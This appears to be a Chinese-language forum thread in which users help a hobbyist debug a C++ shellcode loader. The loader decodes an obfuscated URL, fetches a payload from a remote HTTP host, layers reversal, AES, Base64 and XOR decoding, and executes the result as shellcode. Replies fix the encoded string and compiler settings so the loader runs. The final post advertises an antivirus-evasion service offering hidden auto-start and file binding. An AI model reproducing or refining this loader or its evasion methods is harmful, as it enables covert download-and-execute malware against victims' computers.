本人菜鸟运行后不上线麻烦看看
//HTTP
std::string str1 = "ivwt?)(0;1*40?/0-56>=9234*d)uzw";
std::string str2 = "http://192.168.2.138:8000/b.txt";
地址对吗? 运行后 服务端有提示访问
不是的 str1+str2 = "ivwt?)(0;140?/0-56>=9234d)uzw"
void copy() { const int XK1 = 8; const int XK2 = 10; char buf1[BUF_SIZE] = { 0 }; //HTTP std::string str1 = "ivwt?)(0;140?/0-56>=9234d)uzw"; std::string str2 = "http://192.168.2.138:8000/b.txt";
std::string str = str1 + str2;
decode(str, key);
char* url = (char*)str.data();
GUT(url, buf1);
std::string rest2_reference = buf1;
reverse(rest2_reference.begin(), rest2_reference.end());
string decrypt_shellcode = DecryptionAES(rest2_reference);
std::string rest2_decoded = ko::Base64::decode(decrypt_shellcode);
const char* xx = rest2_decoded.c_str();
std::vector<uint8_t> sc;
for (int j = 0; j < rest2_decoded.length(); j++)
{
sc.push_back(xx[j] ^ XK2 ^ XK1);
}
run(sc);
return;
}
这样也不行哟
编译的时候 堆栈保留地址调大到2MB以上
编译的时候 堆栈保留地址调大到2MB以上 具体咋操作呢 哥 我不懂代码 可以标一下图吗
vs右键项目->属性->链接器->系统->堆栈保留大小
还是不行
你str1和str2填错了,不行你就把str1和2删了,留std::string str="ivwt?)(0;140?/0-56>=9234d)uzw";
旺飞我 非常感谢 我是个爱好者 就学习 40多岁了 就爱这个 感谢你的耐心
你可以尝试打个断点,一点点调试,每个人环境不一样,只看图的话基本看不出啥。
好的 非常感谢你的代码 感激你的耐心
感谢耐心指导 代码没有问题 是我环境的问题 感谢
不是的 str1+str2 = "ivwt?)(0;1 40?/0-56>=9234 d)uzw"
你好免杀可以绑定文件 或者链接形式,可以过win17到win11自带杀毒防御,自动启动隐藏运行,希望可以合作一下谢谢 可以留下联系方式吗?